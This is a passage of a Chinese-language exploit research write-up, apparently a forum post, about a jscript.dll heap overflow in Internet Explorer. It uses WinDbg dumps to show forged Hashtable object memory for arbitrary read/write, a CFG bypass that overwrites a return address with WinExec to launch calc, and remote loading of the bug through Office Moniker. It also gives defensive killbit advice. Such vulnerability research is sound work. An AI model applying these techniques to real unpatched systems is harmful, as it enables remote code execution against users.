0:007> dc 05950d2c L(0x38 * 5)/4
05950d2c  00000003 00000000 00000539 00000000  ........9.......
05950d3c  00000000 00000000 00000402 00000004  ................
05950d4c  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
05950d5c  00390039 00000000 0000400c 00000000  9.9......@......
05950d6c  05950d20 00000000 00000000 00000000   ...............
05950d7c  00003c0a 00000006 00610061 00610061  .<......a.a.a.a.
05950d8c  00610061 00610061 00330032 00000035  a.a.a.a.2.3.5...
05950d9c  00000003 00000000 0000053b 00000003  ........;.......
05950dac  00000000 00000000 00003c1a 00000006  .........<......
05950dbc  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
05950dcc  00340032 00000034 00000003 00000000  2.4.4...........
05950ddc  0000053c 00000008 00000000 00000000  <...............
05950dec  00003c2a 00000006 00610061 00610061  *<......a.a.a.a.
05950dfc  00610061 00610061 00350032 00000033  a.a.a.a.2.5.3...
05950e0c  00000003 00000000 0000053d 0000400c  ........=....@..
05950e1c  00000000 00000000 00000032 00000002  ........2.......
05950e2c  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
05950e3c  00000032 00610000                    2.....a.

通过上述描述，以及在调试器对溢出细节的观察，读者应能比较清晰地了解这个堆溢出漏洞利用的关键细节。

如何构造假的Object Memory

如何构造假的Object Memory才能使Hashtable的查找工作保持正常？这个问题其实是比较简单的，只要了解32位下Object Memory的结构，就可以精确构造出对应的Fake Object Memory。在写利用的过程中，通过观察谷歌的exploit，笔者一开始的几个疑问是：

  1. 32位下的fakeVAR函数应该怎么写？
  2. 每个Fake Object Memory的arrindex，objindex，hash之间的关系如何得出？

第1个问题很简单，了解32位下Object Memory的内存结构后就没有任何难度了，改写一下原exploit的fakeVAR函数即可。

第2个问题一开始着实把笔者为难了一番。后来通过观察谷歌的exploit，笔者推测arrindex应该是被溢出的arr的index，objindex应该是Hashtable中原来表项对应Object Memory中存储的值（即我们在js代码中初始化jscript成员对象的值），hash应该是Hashtable中原来表项对应Object Memory中的hash。而且，多次观察发现，每次实现“左-中-右”的内存相邻后，右相邻的Hashtable中固定位置存储的指针指向的Object Memory的value和hash都是固定的，这更加验证了前面的猜测。

于是笔者按照上述思路构造了当前调试环境中合适的arrindex，objindex，hash后，就可以通过查找jscript对象的成员找到被改写了Hashtable的jscript对象了。

以下为笔者某次观察得到的值：

0:017> dd b855520+1000
0b856520  5b6468fe 88000000 08e0bd3c 08e0bd74
0b856530  -> 08e0bdac 00000000 00000000 08e5c564 <- arrindex=128
0b856540  08e5c59c 08e5c5d4 08e5c60c 08e5c644
0b856550  -> 08e5c67c 08e5c6b4 08e5c6ec 08e5c724 <- arrindex=129
0b856560  08e5c75c 00000000 00000000 00000000
0b856570  00000000 00000000 00000000 00000000
0b856580  08e5c794 08e5c7cc 08e5c804 08e5c83c
0b856590  -> 08e5c874 08e5c8ac 08e5c8e4 08e5c91c <- arrindex=131
0:017> dd
0b8565a0  08e5c954 08e5c98c 00000000 00000000
0b8565b0  00000000 00000000 00000000 00000000
0b8565c0  00000000 08e5c9c4 08e5c9fc 08e5ca34
0b8565d0  -> 08e5ca6c 08e5caa4 08e5cadc 08e5cb14 <- arrindex=133
0b8565e0  08e5cb4c 08e5cb84 08e5cbbc 08d93938
0b8565f0  -> 08d9396c 08d939a0 08e8ecec 08e8ed20 <- arrindex=134
0b856600  08e8ed54 08e8ed88 08e5cbf4 08e5cc2c
0b856610  08e5cc64 08e5cc9c 08e5ccd4 08e5cd0c

0:017> dc 08e0bdac l38/4
08e0bdac  00000003 00000000 00000063 00000000  ........c.......
08e0bdbc  00000000 00000000 00000402 00000004  ................
08e0bdcc  08e0bde4 00000000 00000064 00000000  ........d.......
08e0bddc  00390039 00000000                    9.9.....

0:017> dc 08e5c67c l38/4
08e5c67c  00000003 00000000 000000eb 00000000  ................
08e5c68c  00000000 00000000 00003c0a 00000006  .........<......
08e5c69c  08e5c6b4 00000000 000000ec 00000000  ................
08e5c6ac  00330032 00000035                    2.3.5...

0:017> dc 08e5c874 l38/4
08e5c874  00000003 00000000 000000f4 00000000  ................
08e5c884  00000000 00000000 00003c1a 00000006  .........<......
08e5c894  08e5c8ac 00000000 000000f5 00000000  ................
08e5c8a4  00340032 00000034                    2.4.4...

0:017> dc 08e5ca6c l38/4
08e5ca6c  00000003 00000000 000000fd 00000000  ................
08e5ca7c  00000000 00000000 00003c2a 00000006  ........*<......
08e5ca8c  08e5caa4 00000000 000000fe 00000000  ................
08e5ca9c  00350032 00000033                    2.5.3...

0:017> dc 08d9396c l38/4
08d9396c  00000003 00000000 00000002 00000000  ................
08d9397c  00000000 00000000 00000032 00000002  ........2.......
08d9398c  08d939a0 00000000 00000003 00000000  .9..............
08d9399c  00000032 00000003                    2.......

需要注意的是，如果观察到将要覆写的地方的指针为0，那需要跳过它，接着找下一个符合条件的覆写点，一共找到5个满足条件的arrindex即可。至于Fake Object Memory中的ptr to next memory域，这个域的伪造一开始着实把笔者为难了一番，后来笔者观察谷歌的exploit，发现谷歌直接忽略了这个指针，于是笔者实验了一番，发现忽略这个指针并不影响利用代码的执行。

上述细节在调试器中全部观察确认后，即意味着我们已经具备任意地址读取和任意地址写入（由于VAR为16字节，所以和vbscript一样，为受限写）能力，后续的操作就是常规操作了。谷歌的exploit已经提供了64位下整套操作函数，笔者稍加改动即完成了这些功能函数在32位下的移植。

Bypass CFG

如果要让编写的利用在win10上也能工作，就需要绕过CFG。绕过CFG的最常见思路就是覆写栈上的返回地址。一番调试之后(之前的分析文章里面其实也已经指出了相关偏移)，笔者发现jscript对象在内存中的相关结构如下：

Jscript Object：
+ 0x00 Jscript!NameTbl
    +0x0C pCSession    // Jscript!CSession对象指针

Jscript!CSession(size = 0x2F0)
    +0x18 pOleScript   // Jscript!OleScript对象指针
    +0x2C pNativeStack // 一个指向Native栈的指针

所以只需通过任意地址读取原语拿到pNativeStack，然后在Native栈中进行搜索，找到合适的返回地址进行覆写即可。之前的分析文章中也指出：

“由于栈空间中存在关键性数据，一旦改变可能在函数没有返回前产生崩溃，所以在修改栈空间时需要避免修改这些数据。”

所以返回地址也不是随便哪个函数都可以改的，需要仔细观察栈，不断尝试才能找到合适的返回地址进行覆写。

笔者最终覆写的是jscript!CScriptRuntime::Run函数的返回地址：

// 覆写前
0:000> dps 2f09098-10 l10
02f09088  00000020
02f0908c  024535c2
02f09090  02f090a4
02f09094  0de70b50
02f09098  02f09490
02f0909c  699a44a7 jscript!CScriptRuntime::Run+0x12b9 <- 覆写前的返回地址
02f090a0  02435ea8
02f090a4  00000000
02f090a8  00000001
02f090ac  00000000
02f090b0  00000002
02f090b4  0de70af0
02f090b8  00000000
02f090bc  0dbc6f21
02f090c0  00000000
02f090c4  024358c8

0:000> bp kernel32!WinExec
0:000> g
(cf0.f78): Break instruction exception - code 80000003 (first chance)
eax=7ff9c000 ebx=00000000 ecx=00000000 edx=770ef1d3 esi=00000000 edi=00000000
eip=77084108 esp=0efafac0 ebp=0efafaec iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
77084108 cc              int     3
0:015> g
Breakpoint 0 hit
eax=00000000 ebx=02f094b8 ecx=0dbc6bd5 edx=02435ea8 esi=024535c2 edi=00000020
eip=760dedae esp=02f090bc ebp=00000003 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
kernel32!WinExec:
760dedae 8bff            mov     edi,edi

// 覆写后
0:007> dps 2f09098-10 l10
02f09088  00000020
02f0908c  024535c2
02f09090  00000003 <- 受限写导致额外写入的数据
02f09094  00000000 <- 受限写导致额外写入的数据
02f09098  00000003 <- 受限写导致额外写入的数据
02f0909c  760dedae kernel32!WinExec <- 覆写为 WinExec 函数的地址
02f090a0  02435ea8
02f090a4  00000000
02f090a8  00000000
02f090ac  00000000
02f090b0  00000002
02f090b4  00000000
02f090b8  00000000
02f090bc  0dbc6f21
02f090c0  055ccdcc <- WinExec参数: lpCmdLine
02f090c4  00000001 <- WinExec参数: uCmdShow

0:007> dd esp l4
02f090bc  0dbc6f21 055ccdcc 00000001 024555b8

// lpCmdLine
0:007> da 055ccdcc
055ccdcc  "calc"

经过笔者实验，上述漏洞触发和利用方式无需改动即可从win7 x86上移植到win10 x86，但win7和win10的Native栈上对jscript!CScriptRuntime::Run返回地址的偏移不太一样，读者编写时需要在对应的操作系统上稍做调整。

比较遗憾的是，上述这种简单的覆写方式虽然可以让计算器正常弹出，但弹出计算器后仍会造成崩溃。因为笔者研究这个利用链的目的只是为了写出概念验证的exploit，所以如何让利用代码结束得优雅一点并不在本次目的内，关于如何更优雅地完成利用，就交给读者自己去完成了。

进一步思考：借助office加载js漏洞

也许读者认为IE已经是日薄西山，IE的漏洞已经不能用来造成广泛的杀伤力。但是谷歌于2017年底提出的WPAD的攻击方式，还有2018年出现的CVE-2018-8174的0day攻击方式(Moniker远程加载vbscript漏洞)，都预示着IE组件漏洞有着更广泛的触发场景。虽然在2018年连续的两个vbscript 0day出现后，微软已经将vbscript加入了office killbit的黑名单。但读者很容易注意到黑名单里面没有jscript和jscript9。

如果现在有一个jscript/jscript9 0day，通过Moniker特性远程进行加载，会执行成功吗？笔者利用此次jscript漏洞在未打最新补丁的环境上进行了概念验证，发现在win10 + office2016默认配置下是可以借助Moniker加载jscript漏洞并弹出计算器的，如下：

当然，笔者并未在最新win10全补丁环境上进行这类实验，也许最新版本的win10+office365上此类攻击已经无法进行，不过也许还可以。

笔者可以预见到的是，只要office可以用来加载js漏洞，那office一定会成为脚本漏洞攻击的重灾区。相关信息安全建设人员如能意识到这个问题，现在就应该着手禁用office加载远程js文件这种功能。最简单的就是通过注册表把jscript/jscript9对应的CLSID(考虑到之前已有的绕过案例，这类CLSID应该不止一个)加入killbit黑名单。

参考链接

aPAColypse now: Exploiting Windows 10 in a Local Network with WPAD/PAC and JScript

利用WPAD/PAC与JScript实现Windows 10远程代码执行

Issue 1382: Windows: out-of-bounds read in jscript!RegExpFncObj::LastParen

Issue 1383: Windows: heap overflow in jscript.dll in Array.sort

Write Once, Pwn Anywhere

IT’S TIME TO TERMINATE THE TERMINATOR

Patch Lady – what’s the real risk?

Security Settings for COM objects in Office

拓展阅读

CVE-2014-6332公开exploit分析

CVE-2016-0189在野exploit分析

CVE-2017-0149在野exploit分析

CVE-2018-8174在野exploit分析

CVE-2018-8373在野exploit分析

CVE-2018-8653在野exploit分析

[进行中] 看雪20周年庆典报名通道开启！

最后于 16小时前 被银雁冰编辑 ，原因：


文章来源: https://bbs.pediy.com/thread-256832.htm
如有侵权请联系:admin#unsafe.sh